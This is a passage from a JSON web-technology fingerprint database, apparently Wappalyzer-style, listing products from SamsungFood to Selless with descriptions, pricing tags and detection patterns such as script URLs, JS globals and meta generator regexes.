\"SamsungFood.svg\",\n    \"js\": {\n      \"WhiskLoading\": \"\",\n      \"whisk-jsp.push\": \"\",\n      \"whisk.analytics\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://samsungfood.com\"\n  },\n  \"Sana Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sana Commerce is an ecommerce platform for SAP and Microsoft Dynamics.\",\n    \"icon\": \"Sana Commerce.svg\",\n    \"js\": {\n      \"Sana.UI\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sana-commerce.com\"\n  },\n  \"Sanity\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Sanity is a platform for structured content. It comes with an open-source, headless CMS that can be customized with Javascript, a real-time hosted data store and an asset delivery pipeline.\",\n    \"dom\": {\n      \"img[src*='cdn.sanity.io'],img[srcset*='cdn.sanity.io'],video[src*='cdn.sanity.io'],source[src*='cdn.sanity.io'],source[srcset*='cdn.sanity.io'],track[src*='cdn.sanity.io']\": {\n        \"attributes\": {\n          \"src\": \"\",\n          \"srcset\": \"\"\n        }\n      }\n    },\n    \"headers\": {\n      \"content-security-policy\": \"cdn\\\\.sanity\\\\.io\",\n      \"x-sanity-shard\": \"\"\n    },\n    \"icon\": \"Sanity.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sanity.io\",\n    \"xhr\": [\n      \"api(?:cdn)?\\\\.sanity\\\\.io\"\n    ]\n  },\n  \"Sapo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sapo is a popular multi-channel management and sales platform in Vietnam, offering advanced headless ecommerce technology to enhance the Omnichannel experience for over 230,000 merchants.\",\n    \"icon\": \"Sapo.svg\",\n    \"js\": {\n      \"Bizweb\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sapo.vn\"\n  },\n  \"Sapper\": {\n    \"cats\": [\n      18\n    ],\n    \"html\": [\n      \"<script[^>]*>__SAPPER__\"\n    ],\n    \"icon\": \"Sapper.svg\",\n    \"implies\": [\n      \"Svelte\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"__SAPPER__\": \"\"\n    },\n    \"website\": \"https://sapper.svelte.dev\"\n  },\n  \"Sapren\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Sapren is a CMS produced by PHP, Laravel framework and MySQL.\",\n    \"icon\": \"Sapren.png\",\n    \"implies\": [\n      \"Laravel\",\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Saprenco.com Website Builder$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sapren.net\"\n  },\n  \"Sarka-SPIP\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Sarka-SPIP.png\",\n    \"implies\": [\n      \"SPIP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Sarka-SPIP(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://sarka-spip.net\"\n  },\n  \"Sass\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"Sass is an extension of CSS that enables you to use things like variables, nested rules, inline imports and more.\",\n    \"dom\": [\n      \"link[href*='/index.scss']\"\n    ],\n    \"icon\": \"Sass.svg\",\n    \"website\": \"https://sass-lang.com\"\n  },\n  \"Sassy Social Share\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Sassy Social Share allows your website visitors to share your content over Facebook, Twitter, Google, Linkedin, Whatsapp, Tumblr, Pinterest, Reddit, Gab, Gettr and over 110 more social sharing and bookmarking services.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/sassy-social-share/']\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"sassy-social-share(?:-public)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/sassy-social-share\"\n  },\n  \"Satori\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Satori provides marketing automation software.\",\n    \"dom\": [\n      \"iframe[src*='satori.segs.jp/']\"\n    ],\n    \"icon\": \"Satori.png\",\n    \"js\": {\n      \"SatoriForm\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"satori\\\\.segs\\\\.jp/\"\n    ],\n    \"website\": \"https://satori.marketing\"\n  },\n  \"Satori Studio Bento\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Satori Studio Bento is a powerful yet user-friendly free WordPress theme intended for use in the broadest range of web projects.\",\n    \"icon\": \"Satori Studio.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bento/\"\n    ],\n    \"website\": \"https://satoristudio.net/bento-free-wordpress-theme\"\n  },\n  \"Satu\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Satu is a marketplace offering consumer, industrial, and wholesale products for business, home, and leisure needs.\",\n    \"icon\": \"Satu.svg\",\n    \"js\": {\n      \"CLERK_CONFIG.endpointUrl\": \"\\\\.satu\\\\.kz/\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"my\\\\.satu\\\\.kz/.*/v([\\\\d\\\\.]+)/bare\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://satu.kz\"\n  },\n  \"SavvyCal\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"SavvyCal is a meeting scheduling tool.\",\n    \"icon\": \"SavvyCal.svg\",\n    \"js\": {\n      \"SavvyCal\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://savvycal.com\"\n  },\n  \"Sazito\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Sazito.svg\",\n    \"js\": {\n      \"Sazito\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Sazito\"\n    },\n    \"website\": \"https://sazito.com\"\n  },\n  \"Scala\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"Scala is a general-purpose programming language providing support for both object-oriented programming and functional programming.\",\n    \"icon\": \"Scala.png\",\n    \"website\": \"https://www.scala-lang.org\"\n  },\n  \"Scalapay\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Scalapay is a payment method for e-commerce merchants in Europe that allows customers to buy now and pay later (BNPL).\",\n    \"icon\": \"Scalapay.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.scalapay\\\\.com\"\n    ],\n    \"website\": \"https://www.scalapay.com/\"\n  },\n  \"Scalar\": {\n    \"cats\": [\n      4,\n      47\n    ],\n    \"description\": \"Scalar is a platform that offers tools for API documentation, testing, and discovery, with strong support for OpenAPI standards.\",\n    \"dom\": [\n      \"div[class*='scalar-api-reference']\"\n    ],\n    \"icon\": \"Scalar.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"TypeScript\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/npm/@scalar/api-reference@(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://scalar.com\"\n  },\n  \"Scalefast\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Scalefast is an outsourced ecommerce solution designed to build and manage global ecommerce for brands, with customer loyalty programs.\",\n    \"icon\": \"Scalefast.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-prod\\\\.scalefast\\\\.com/(?:.+\\\\.js\\\\?version=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.scalefast.com\"\n  },\n  \"ScandiPWA\": {\n    \"cats\": [\n      108\n    ],\n    \"cpe\": \"cpe:2.3:a:scandipwa:magento-scripts:*:*:*:*:*:node.js:*:*\",\n    \"description\": \"ScandiPWA is the next generation Magento 2 PWA theme developed in React.\",\n    \"dom\": [\n      \"link[href^='/static/frontend/scandipwa/']\"\n    ],\n    \"icon\": \"ScandiPWA.svg\",\n    \"implies\": [\n      \"Magento\\\\;version:2\",\n      \"React\",\n      \"PWA\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://scandipwa.com\"\n  },\n  \"Schedule Engine\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Schedule Engine is a customer support solution built for contractors.\",\n    \"icon\": \"Schedule Engine.svg\",\n    \"scriptSrc\": [\n      \"webchat.scheduleengine.net\"\n    ],\n    \"website\": \"https://www.scheduleengine.com/\"\n  },\n  \"Schema App\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"Schema App is a tool that converts website content into schema markup, the language of search.\",\n    \"icon\": \"SchemaApp.svg\",\n    \"js\": {\n      \"schema_highlighter\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.schemaapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.schemaapp.com\"\n  },\n  \"SchemaPlus\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"SchemaPlus is a Shopify app for Shopify ecommerce shops to add schema to them and thereby make them easier to find for search engines.\",\n    \"icon\": \"SchemaPlus.svg\",\n    \"js\": {\n      \"SchemaPlus_Reviews\": \"\",\n      \"SchemaPlus_handleCallback\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//schemaplusfiles\\\\.s3\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://schemaplus.io\"\n  },\n  \"Scientific Linux\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"Scientific Linux (SL) is a free open-source operating system based on Red Hat Enterprise Linux.\",\n    \"headers\": {\n      \"Server\": \"Scientific Linux\",\n      \"X-Powered-By\": \"Scientific Linux\"\n    },\n    \"icon\": \"Scientific Linux.png\",\n    \"website\": \"https://scientificlinux.org\"\n  },\n  \"Scissor Themes Writee\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Writee is an elegant free personal WordPress blog theme and well suited for personal, food, travel, fashion, corporate, or any other amazing blog.\",\n    \"dom\": [\n      \"link#WRT-style-css\"\n    ],\n    \"icon\": \"Scissor Themes.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/writee(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.scissorthemes.com/themes/writee-free\"\n  },\n  \"Scoop.it\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Scoop.it is a content marketing software company based in San Francisco which provide content curation platform.\",\n    \"dom\": [\n      \"iframe[src*='.scoop.it/'], a[href*='.scoop.it/'][target='_blank']\"\n    ],\n    \"icon\": \"Scoop.it.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.scoop.it\"\n  },\n  \"Scorpion\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Scorpion is a marketing and technology provider.\",\n    \"html\": [\n      \"<[^>]+id=\\\"HSScorpion\"\n    ],\n    \"icon\": \"Scorpion.svg\",\n    \"js\": {\n      \"Process.UserData\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn.cxc.scorpion.direct\"\n    ],\n    \"website\": \"https://www.scorpion.co/\"\n  },\n  \"Screenfull.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Simple wrapper for cross-browser usage of the JavaScript Fullscreen API.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"screenfull(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?screenfull(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://sindresorhus.com/screenfull/\"\n  },\n  \"Scrivito\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Scrivito is a decoupled/headless enterprise web CMS.\",\n    \"icon\": \"Scrivito.svg\",\n    \"js\": {\n      \"Scrivito\": \"\",\n      \"scrivito\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Scrivito\\\\sby\\\\sInfopark\\\\sAG\\\\s\\\\(scrivito\\\\.com\\\\)$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.scrivito.com\"\n  },\n  \"ScrollMagic\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"ScrollMagic is a jQuery plugin which essentially lets you use the scrollbar like a playback scrub control.\",\n    \"icon\": \"ScrollMagic.svg\",\n    \"implies\": [\n      \"jQuery\",\n      \"GSAP\"\n    ],\n    \"js\": {\n      \"ScrollMagic\": \"\",\n      \"ScrollMagic.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://scrollmagic.io\"\n  },\n  \"Scully\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Scully is a static site generator for Angular projects looking to embrace the Jamstack.\",\n    \"icon\": \"Scully.svg\",\n    \"implies\": [\n      \"Angular\"\n    ],\n    \"js\": {\n      \"ScullyIO\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Scully\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://scully.io\"\n  },\n  \"SeQura\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"SeQura is a FinTech company based in Barcelona, providing digital flexible payment solutions, with a geographical focus on Southern Europe and Latin America.\",\n    \"icon\": \"SeQura.svg\",\n    \"js\": {\n      \"Sequra\": \"\",\n      \"SequraConfiguration\": \"\",\n      \"sequraProducts\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"live\\\\.sequracdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.sequra.es\"\n  },\n  \"Seal Subscriptions\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Seal Subscriptions is a Shopify subscriptions app, packed with lots of features, such as automated product swaps, interval changes, payment calendar, Quick Checkout Wizard, and more.\",\n    \"icon\": \"Seal Subscriptions.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"SealSubs.checkout\": \"\",\n      \"sealsubscriptions_settings_updated\": \"\",\n      \"sealsubsloaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sealsubscriptions\\\\.com/\"\n    ],\n    \"website\": \"https://www.sealsubscriptions.com\"\n  },\n  \"SealMetrics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SealMetrics is a cookieless analytics system that enables businesses to track website performance and user behaviour.\",\n    \"icon\": \"SealMetrics.svg\",\n    \"js\": {\n      \"sm.VERSION\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sealmetrics\\\\.com/\"\n    ],\n    \"website\": \"https://sealmetrics.com\"\n  },\n  \"SeamlessCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"SeamlessCMS.png\",\n    \"meta\": {\n      \"generator\": \"^Seamless\\\\.?CMS\"\n    },\n    \"website\": \"https://www.seamlesscms.com\"\n  },\n  \"SearchFit\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Searchfit provides top ecommerce software, solutions and ecommerce website design for enterprise and mid-level retailers.\",\n    \"icon\": \"SearchFit.svg\",\n    \"js\": {\n      \"SFUI.Checkout\": \"\"\n    },\n    \"meta\": {\n      \"generation-copyright\": \"by\\\\sSearchFit\\\\sShopping\\\\sCart\\\\sv([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.searchfit.com\"\n  },\n  \"Searchanise\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Searchanise is a complete search and filter solution for ecommerce.\",\n    \"icon\": \"Searchanise.svg\",\n    \"js\": {\n      \"Searchanise\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"searchanise(?:-.+\\\\.kxcdn)?\\\\.com/\"\n    ],\n    \"website\": \"https://start.searchanise.com\"\n  },\n  \"SearchiQ\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"SearchiQ is a cloud-based search engine solution that can be integrated into a website.\",\n    \"icon\": \"SearchiQ.svg\",\n    \"js\": {\n      \"siqConfig.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"siq_version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.searchiq.co\"\n  },\n  \"Searchine\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Searchine is a site search system that provides insights into visitor search behaviour and offers suggestions for website improvements.\",\n    \"icon\": \"Searchine.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.searchine\\\\.net/\"\n    ],\n    \"website\": \"https://www.searchine.net\"\n  },\n  \"Searchspring\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Searchspring is a site search and merchandising platform designed to help ecommerce.\",\n    \"icon\": \"Searchspring.svg\",\n    \"js\": {\n      \"SearchSpring\": \"\",\n      \"SearchSpringConf\": \"\",\n      \"SearchSpringInit\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.searchspring\\\\.net\"\n    ],\n    \"website\": \"https://searchspring.com\"\n  },\n  \"Secomapp\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Secomapp is a trusted Shopify Expert providing services through Shopify Apps.\",\n    \"icon\": \"Secomapp.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"SECOMAPP\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.secomapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.secomapp.com\"\n  },\n  \"Sectigo\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"Sectigo\",\n    \"description\": \"Sectigo provides SSL certificate and computer security products.\",\n    \"icon\": \"Sectigo.svg\",\n    \"website\": \"https://sectigo.com/\"\n  },\n  \"Section.io\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Section.io is a Content Delivery Network (CDN).\",\n    \"headers\": {\n      \"section-io-id\": \"\",\n      \"section-io-origin-status\": \"\",\n      \"section-io-origin-time-seconds\": \"\"\n    },\n    \"icon\": \"sectionio.svg\",\n    \"website\": \"https://www.section.io\"\n  },\n  \"Sections.design Shopify App Optimization\": {\n    \"cats\": [\n      92,\n      100\n    ],\n    \"description\": \"Sections.design Shopify App Optimization is a Shopify section written in liquid for the purpose of improving performance of Shopify stores by optimizing how Shopify app loads.\",\n    \"dom\": [\n      \"div#shopify-section-app-optimization\"\n    ],\n    \"icon\": \"Sections-Design.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/mirceapiturca/Sections/tree/master/App%20Optimization\"\n  },\n  \"SeedProd Coming Soon\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"SeedProd Coming Soon is a page builder allows you to add a new website under construction page to your WordPress site without hiring a developer.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/coming-soon/']\"\n    ],\n    \"icon\": \"SeedProd.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/coming-soon/\"\n    ],\n    \"website\": \"https://www.seedprod.com/features/coming-soon-page-templates-for-wordpress\"\n  },\n  \"Seeda\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Seeda is an AI-powered analytics platform for ecommerce growth.\",\n    \"icon\": \"Seeda.svg\",\n    \"js\": {\n      \"seedaEvent\": \"\",\n      \"seedaLink\": \"\",\n      \"seedaPageView\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.seeda.io\"\n  },\n  \"Seers\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Seers is a privacy and consent management platform that helps businesses comply with data protection regulations like GDPR, CCPA, and LGPD by providing tools for cookie consent, data anonymization, and GDPR training​.\",\n    \"icon\": \"seersco.svg\",\n    \"js\": {\n      \"cb_banner_cpra_file_name\": \"\\\\.seersco\\\\.com/\",\n      \"cb_host\": \"\\\\.seersco\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"(?://|\\\\.)seersco\\\\.com/\"\n    ],\n    \"website\": \"https://www.seersco.com\"\n  },\n  \"SegMate\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"SegMate is a platform that allows businesses to create and manage Facebook Messenger bots for marketing and customer engagement.\",\n    \"icon\": \"SegMateApp.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.segmate\\\\.io/\"\n    ],\n    \"website\": \"https://segmateapp.com\"\n  },\n  \"Segmanta\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Segmanta is a mobile-first survey platform designed for product feedback, brand awareness and concept testing research.\",\n    \"icon\": \"Segmanta.png\",\n    \"js\": {\n      \"SEGMANTA__DYNAMIC_EMBED_CONFIG\": \"\",\n      \"SEGMANTA__USER_METADATA\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"pge\\\\.segmanta\\\\.com/widget_embed_js(?:/widgetEmbed-v([\\\\d.]+)\\\\.min\\\\.js)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://segmanta.com\"\n  },\n  \"Segment\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Segment is a customer data platform (CDP) that helps you collect, clean, and control your customer data.\",\n    \"dns\": {\n      \"TXT\": [\n        \"segment-site-verification\"\n      ]\n    },\n    \"icon\": \"Segment.svg\",\n    \"js\": {\n      \"__SEGMENT_INSPECTOR__\": \"\",\n      \"analytics.SNIPPET_VERSION\": \"(.+)\\\\;version:\\\\1\",\n      \"analytics.VERSION\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.segment\\\\.com/analytics\\\\.js\",\n      \"/segment-wrapper\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://segment.com\"\n  },\n  \"Segment Consent Manager\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Segment Consent Manager is a tool that automates the process of requesting consent for data usage, stores data on user privacy preferences, and updates these preferences when users request changes.\",\n    \"icon\": \"Segment.svg\",\n    \"js\": {\n      \"consentManager.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"@segment/consent-manager@([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://segment.com/blog/how-to-build-consent-management-into-your-site-in-less-than-a-week\"\n  },\n  \"SegmentStream\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SegmentStream is a AI-powered marketing analytics platform built for data-driven CMOs, web analysts and performance marketing teams.\",\n    \"icon\": \"SegmentStream.svg\",\n    \"js\": {\n      \"segmentstream.VERSION\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.segmentstream\\\\.com\"\n    ],\n    \"website\": \"https://segmentstream.com\"\n  },\n  \"Segmentify\": {\n    \"cats\": [\n      97,\n      76\n    ],\n    \"description\": \"Segmentify is an ecommerce personalisation platform.\",\n    \"icon\": \"Segmentify.svg\",\n    \"js\": {\n      \"SegmentifyIntegration\": \"\",\n      \"SegmentifyTrackingObject\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.segmentify\\\\.com/\"\n    ],\n    \"website\": \"https://segmentify.com\"\n  },\n  \"Seko OmniReturns\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Seko OmniReturns is an online portal used on ecommerce websites for customers to create returns and shipping labels globally. Seko is a global logistics company offering both the technology and reverse logistics.\",\n    \"icon\": \"Seko OmniReturns.png\",\n    \"implies\": [\n      \"MySQL\",\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//cdn\\\\.omniparcelreturns\\\\.com/\"\n    ],\n    \"website\": \"https://www.sekologistics.com/us/global-cross-border-returns\"\n  },\n  \"Select2\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:select2:select2:*:*:*:*:*:*:*:*\",\n    \"description\": \"Select2 is a jQuery based replacement for select boxes. It supports searching, remote data sets, and infinite scrolling of results.\",\n    \"icon\": \"Select2.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jQuery.fn.select2\": \"\"\n    },\n    \"scriptSrc\": [\n      \"select2(?:\\\\.min|\\\\.full)?\\\\.js\"\n    ],\n    \"website\": \"https://select2.org/\"\n  },\n  \"Selectize\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Selectize is an extensible jQuery-based custom <select> UI control.\",\n    \"icon\": \"Selectize.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"Selectize\": \"\",\n      \"selectize\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://selectize.dev\"\n  },\n  \"Sellacious\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sellacious is an open-source ecommerce and marketplace platform for integrated POS and online stores.\",\n    \"dom\": {\n      \".mod-sellacious-cart\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"Sellacious.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"SellaciousViewCartAIO\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sellacious.com\"\n  },\n  \"Selldone\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Selldone is an all-in-one, ready-to-use ecommerce platform.\",\n    \"icon\": \"Selldone.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"webpackChunkselldone\": \"\"\n    },\n    \"meta\": {\n      \"selldone-capi\": \"\",\n      \"selldone-cdn-id\": \"\",\n      \"selldone-cdn-images\": \"\",\n      \"selldone-iframe\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://selldone.com\"\n  },\n  \"Sellerdeck\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sellerdeck is a SEO-friendly ecommerce solution, formerly known as Actinic.\",\n    \"icon\": \"Sellerdeck.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sellerdeck\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.sellerdeck.co.uk\"\n  },\n  \"SellersCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SellersCommerce is a medium ecommerce software company that provides b2b ecommerce platform to retail companies.\",\n    \"icon\": \"SellersCommerce.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sellerscommerce\\\\.com/\"\n    ],\n    \"website\": \"https://www.sellerscommerce.com\"\n  },\n  \"Selless\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Selless is an all-in-one, 